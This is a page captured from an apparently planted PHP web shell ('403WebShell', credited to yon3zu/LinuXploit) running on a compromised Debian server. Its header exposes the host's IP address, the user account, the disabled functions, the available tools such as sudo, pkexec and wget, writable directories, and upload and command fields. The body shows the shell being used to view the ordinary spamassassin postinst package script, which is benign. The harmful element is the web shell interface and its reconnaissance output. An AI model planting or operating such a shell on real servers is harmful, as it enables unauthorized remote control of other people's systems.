Uname:Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

403WebShell
403Webshell
Server IP : 188.114.96.2  /  Your IP : 104.23.243.200
Web Server : Apache/2.4.59 (Debian)
System : Linux EDL-STRETCH 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
User : edlftp ( 1002)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/lib/dpkg/info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/lib/dpkg/info/spamassassin.postinst
#!/bin/sh

set -e

if [ "$1" = "triggered" ] && [ "$2" = "perl-major-upgrade" ]; then
    echo "OK, restarting spamd due to trigger"
    invoke-rc.d spamassassin restart
fi

if [ "$1" = "configure" ]; then
    # If a new install, or an upgrade from 3.3.2-2 or earlier...
    if ! getent passwd debian-spamd > /dev/null ; then
        adduser --system --group --shell /bin/sh --disabled-password \
		--home /var/lib/spamassassin --no-create-home \
		debian-spamd
    fi

    OWNER=$(stat -c '%U' /var/lib/spamassassin)
    GROUP=$(stat -c '%G' /var/lib/spamassassin)

    # Lets debian-spamd claim ownership of spamassassin updates on upgrades,
    # unless the user has overridden.
    if ! dpkg-statoverride --list /var/lib/spamassassin/* >/dev/null && \
        [ "$OWNER:$GROUP" != "debian-spamd:debian-spamd" ]; then
        chown debian-spamd:debian-spamd /var/lib/spamassassin
        OWNER=debian-spamd
        GROUP=debian-spamd
    fi

    test -d /var/lib/spamassassin/sa-update-keys || \
    install -d -o $OWNER -g $GROUP -m 700 /var/lib/spamassassin/sa-update-keys

    # If gnupg is not available when spamassassin is installed, but
    # is subsequently made available, you'll need to execute
    # `dpkg-reconfigure spamassassin` in order to enable sa-update
    # functionality.
    if command -v gpg > /dev/null; then
        su - $OWNER -c "sa-update \
         --gpghomedir /var/lib/spamassassin/sa-update-keys \
         --import /usr/share/spamassassin/GPG.KEY"
    fi
fi

# Automatically added by dh_systemd_enable/12.1.1
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || [ "$1" = "abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
	if deb-systemd-helper debian-installed 'spamassassin.service'; then
		# This will only remove masks created by d-s-h on package removal.
		deb-systemd-helper unmask 'spamassassin.service' >/dev/null || true

		if deb-systemd-helper --quiet was-enabled 'spamassassin.service'; then
			# Create new symlinks, if any.
			deb-systemd-helper enable 'spamassassin.service' >/dev/null || true
		fi
	fi

	# Update the statefile to add new symlinks (if any), which need to be cleaned
	# up on purge. Also remove old symlinks.
	deb-systemd-helper update-state 'spamassassin.service' >/dev/null || true
fi
# End automatically added section
# Automatically added by dh_installinit/12.1.1
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || [ "$1" = "abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
	if [ -x "/etc/init.d/spamassassin" ]; then
		update-rc.d spamassassin defaults-disabled >/dev/null || exit 1
	fi
fi
# End automatically added section


# Note: the following mess should go away as soon as possible after
# the next stable release to complete the transition away from using
# ENABLED=1 in /etc/default/spamassassin
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ] || \
       [ "$1" = "abort-deconfigure" ] || [ "$1" = "abort-remove" ] ; then
    set +e
    invoke-rc.d --query spamassassin start
    code=$?
    set -e
    ENABLED=0
    if [ -f /etc/default/spamassassin ]; then
	. /etc/default/spamassassin
    fi
    if [ $code -eq 104 ] && \
	    ! command -v systemctl > /dev/null ; then
	# We're not using systemd and thus may have some sysvinit cleanup
	# to do in order to comply with policy 9.3.3.1

	if [ -z "$ENABLED" -o "$ENABLED" = 0 ]; then
	    # The rc?d symlinks are inconsistent with the value set in
	    # /etc/default/spamassassin. Update the symlinks to
	    # reflect the actual state.
	    update-rc.d -f spamassassin remove
	    update-rc.d -f spamassassin defaults-disabled
	    deb-systemd-helper disable spamassassin.service
	fi
    elif [ $code -eq 101 ] && \
	     command -v systemctl > /dev/null && \
	     [ $ENABLED -eq 1 ]; then
	# We're running on a systemd system, and the service is not
	# configured to start (the default), but the admin has
	# previously enabled it via
	# /etc/default/spamassassin. Preserve that configuration.
	deb-systemd-helper enable spamassassin.service
    fi
fi

if [ "$1" = "configure" ] && [ -n "$2" ]; then
    if deb-systemd-helper was-enabled spamassassin.service > /dev/null 2>&1; then
	invoke-rc.d spamassassin restart
    fi
fi

Youez - 2016 - github.com/yon3zu
LinuXploit